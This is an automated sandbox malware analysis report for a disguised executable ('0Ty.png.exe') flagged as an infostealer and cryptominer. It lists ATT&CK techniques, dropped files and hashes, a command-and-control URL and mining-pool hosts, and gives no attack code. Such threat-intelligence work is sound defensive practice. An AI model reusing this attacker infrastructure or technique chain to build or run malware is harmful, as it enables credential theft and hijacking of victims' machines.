Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	31 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Native API	11 Windows Service	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Scheduled Task/Job	11 Windows Service	11 Obfuscated Files or Information	Security Account Manager	44 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	712 Process Injection	1 Install Root Certificate	NTDS	351 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Service Execution	Network Logon Script	1 Scheduled Task/Job	1 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	1 PowerShell	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 File Deletion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	4 Rootkit	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Masquerading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Modify Registry	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	141 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Access Token Manipulation	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	712 Process Injection	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service
Business Relationships	Server	Trusted Relationship	Visual Basic	Container Orchestration Job	Container Orchestration Job	1 Hidden Files and Directories	Web Portal Capture	Local Groups	Component Object Model and Distributed COM	Local Email Collection	Internal Proxy	Commonly Used Port	Direct Network Flood

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
0Ty.png.exe	65%	Virustotal		Browse
0Ty.png.exe	66%	ReversingLabs	Win64.Infostealer.Tinba

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	66%	ReversingLabs	Win64.Infostealer.Tinba
C:\Windows\Temp\ihddniqxcjeb.sys	5%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://85.209.133.29/lowkey/api/endpoint.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
monerooceans.stream	194.164.234.171	true	false	high
gulf.moneroocean.stream	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://85.209.133.29/lowkey/api/endpoint.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 0000001C.00000002.1836172170.000001BF90219000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1836172170.000001BF90074000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.m	dialer.exe, 00000018.00000003.1719273538.0000027DD0413000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000018.00000002.1719637666.0000027DD0417000.00000004.00000020.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000001C.00000002.1767100204.000001BF8022C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000001C.00000002.1767100204.000001BF8022C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://go.micro	powershell.exe, 0000001C.00000002.1767100204.000001BF81151000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/	powershell.exe, 0000001C.00000002.1836172170.000001BF90074000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 0000001C.00000002.1836172170.000001BF90074000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 0000001C.00000002.1836172170.000001BF90074000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 0000001C.00000002.1836172170.000001BF90074000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore68	powershell.exe, 0000001C.00000002.1767100204.000001BF80001000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000001C.00000002.1767100204.000001BF80001000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 0000001C.00000002.1767100204.000001BF8022C000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
194.164.234.171	monerooceans.stream	United Kingdom		8897	KCOM-SPNService-ProviderNetworkex-MistralGB	false
85.209.133.29	unknown	Germany		33657	CMCSUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580691
Start date and time:	2024-12-25 17:22:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	70
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	6
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	0Ty.png.exe
Detection:	MAL
Classification:	mal100.spyw.evad.mine.winEXE@105/17@1/2
EGA Information:	Successful, ratio: 87.5%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 52.165.164.15, 40.69.42.241, 40.126.53.19, 40.126.53.17, 20.190.181.5, 40.126.53.9, 20.231.128.66, 20.231.128.67, 40.126.53.15, 20.190.181.4, 13.107.246.63
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target 0Ty.png.exe, PID 7416 because it is empty
Execution Graph export aborted for target weiuemyrzjra.exe, PID 4280 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:22:57	API Interceptor	57x Sleep call for process: powershell.exe modified
11:23:38	API Interceptor	290803x Sleep call for process: lsass.exe modified
11:23:38	API Interceptor	360735x Sleep call for process: winlogon.exe modified
11:23:39	API Interceptor	354512x Sleep call for process: dwm.exe modified
11:23:39	API Interceptor	663x Sleep call for process: svchost.exe modified
11:23:48	API Interceptor	262x Sleep call for process: dllhost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
85.209.133.29	Od6wNV2xta.elf	Get hash	malicious	BillGates	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
monerooceans.stream	main.exe	Get hash	malicious	Blank Grabber, SilentXMRMiner, Xmrig	Browse	149.102.143.109
	file.exe	Get hash	malicious	Xmrig	Browse	149.102.143.109
	file.exe	Get hash	malicious	Xmrig	Browse	149.102.143.109
	file.exe	Get hash	malicious	Xmrig	Browse	149.102.143.109
	file.exe	Get hash	malicious	Xmrig	Browse	149.102.143.109
	MenSncKnTI.exe	Get hash	malicious	Xmrig	Browse	149.102.143.109
	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Get hash	malicious	Xmrig	Browse	149.102.143.109
	MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip	Get hash	malicious	Xmrig	Browse	44.196.193.227
	17ae2fbf36a41622374adfd3b1608e08.10.dr	Get hash	malicious	Unknown	Browse	44.224.209.130
	SecuriteInfo.com.Win64.Evo-gen.32403.24162.exe	Get hash	malicious	Xmrig	Browse	44.196.193.227
bg.microsoft.map.fastly.net	0442.pdf.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	0442.pdf.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	yvaKqhmD4L.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	#U5b89#U88c5#U7a0b#U5e8f_1.1.1.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	IoIB9gQ6OQ.exe	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	199.232.210.172
	eCompleted_419z.pdf	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	3FG4bsfkEwmxFYY.exe	Get hash	malicious	FormBook	Browse	199.232.214.172
	#U5b89#U88c5#U52a9#U624b1.0.3.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	eCompleted_419z.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	Onboard Training Checklist v1.1 - Wyatt Young (1).xlsx	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
KCOM-SPNService-ProviderNetworkex-MistralGB	https://a41c415c7bccad129d61b50d2032009e.aktive-senioren.biz/de/st/1?#bqcnl4tocgzq65tck3bv	Get hash	malicious	Unknown	Browse	194.164.200.113
	ub8ehJSePAfc9FYqZIT6.arm.elf	Get hash	malicious	Mirai	Browse	195.26.252.19
	ub8ehJSePAfc9FYqZIT6.sh4.elf	Get hash	malicious	Unknown	Browse	195.26.252.19
	ub8ehJSePAfc9FYqZIT6.ppc.elf	Get hash	malicious	Unknown	Browse	195.26.252.19
	ub8ehJSePAfc9FYqZIT6.m68k.elf	Get hash	malicious	Mirai	Browse	195.26.252.19
	ub8ehJSePAfc9FYqZIT6.arm7.elf	Get hash	malicious	Mirai	Browse	195.26.252.19
	ub8ehJSePAfc9FYqZIT6.mips.elf	Get hash	malicious	Unknown	Browse	195.26.252.19
	ub8ehJSePAfc9FYqZIT6.arm6.elf	Get hash	malicious	Unknown	Browse	195.26.252.19
	ub8ehJSePAfc9FYqZIT6.i686.elf	Get hash	malicious	Unknown	Browse	195.26.252.19
	ub8ehJSePAfc9FYqZIT6.x86.elf	Get hash	malicious	Unknown	Browse	195.26.252.19
CMCSUS	armv5l.elf	Get hash	malicious	Unknown	Browse	140.89.4.183
	ppc.elf	Get hash	malicious	Mirai	Browse	140.89.48.90
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	208.110.207.234
	arm5.nn-20241218-1651.elf	Get hash	malicious	Mirai, Okiru	Browse	194.180.237.103
	xt.exe	Get hash	malicious	XWorm	Browse	45.66.231.231
	https://share.hsforms.com/1Izw71u6TTr2VFC-t9f1KFgsvgdj	Get hash	malicious	Unknown	Browse	85.208.139.7
	x86_64.elf	Get hash	malicious	Mirai	Browse	50.238.119.249
	arm.elf	Get hash	malicious	Unknown	Browse	50.226.169.202
	armv7l.elf	Get hash	malicious	Mirai	Browse	216.45.216.151
	rebirth.spc.elf	Get hash	malicious	Mirai, Okiru	Browse	50.220.100.140

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\ihddniqxcjeb.sys	Qhx6a6VLAH.exe	Get hash	malicious	Xmrig	Browse
	88aext0k.exe	Get hash	malicious	Xmrig	Browse
	gaozw40v.exe	Get hash	malicious	Xmrig	Browse
	c2.exe	Get hash	malicious	Xmrig	Browse
	ldr.ps1	Get hash	malicious	GO Miner, Xmrig	Browse
	ZppxPm0ASs.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar, Xmrig	Browse
	feZvV3DCj8.exe	Get hash	malicious	Xmrig	Browse
	services64.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse

Created / dropped Files

C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe

Download File

Process:	C:\Users\user\Desktop\0Ty.png.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5457920
Entropy (8bit):	6.515282439309424
Encrypted:	false
SSDEEP:	98304:iAVs069jHTPkc8zU7Jr93Wu+ieSaCKFa/9hAYNS1gtgghI+lw:iMnUjzPkcyI93Wu+ieSaCKFRYNS1gtV8
MD5:	3CAE1F11044D2CA787824610A40F1696
SHA1:	BF4AF642F36E87B887F973F47A46BCB2E656C636
SHA-256:	50AE56D020D35A747BDF32ACBD7C9CC23F8A6827D19C5F32BB05D068ACF47251
SHA-512:	0918A7876C39CF901E9A4128F456683D85D2564767600CE4536C9D0BCD4BE1B380CAD8FCDF6D0B96FD30E48A0F1E73E66DF6D5F279FB31E5FE5ECCA3E2F856A7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 66%
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d...O.Yg.........."...........R.....@..........@..............................S...........`.....................................................<.............S...............S.x...............................(.......8...........8...`............................text............................... ..`.rdata..,(.......*..................@..@.data...h.R......nR.................@....pdata........S......@S.............@..@.00cfg........S......BS.............@..@.tls..........S......DS.............@....reloc..x.....S......FS.............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat

Download File

Process:	C:\Windows\System32\lsass.exe
File Type:	very short file (no magic)
Category:	modified
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	93B885ADFE0DA089CDF634904FD59F71
SHA1:	5BA93C9DB0CFF93F52B521D7420E43F6EDA2784F
SHA-256:	6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D
SHA-512:	B8244D028981D693AF7B456AF8EFA4CAD63D282E19FF14942C246E50D9351D22704A802A71C3580B6370DE4CEB293C324A8423342557D4E5C38438F0E36910EE
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cjeb3c5a.juw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_djuimxe0.3el.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ohz00dd1.2fh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z1eibgwj.jay.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Windows\Temp\__PSScriptPolicyTest_1udnqygg.d03.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_e5142syl.zjb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_hg3onmei.vbd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_jgqaycec.pgj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_n210etd4.wfa.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_pz5rn0e2.rmc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_rotsoh1o.0uh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_yrlvh2tb.wul.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\ihddniqxcjeb.sys

Download File

Process:	C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
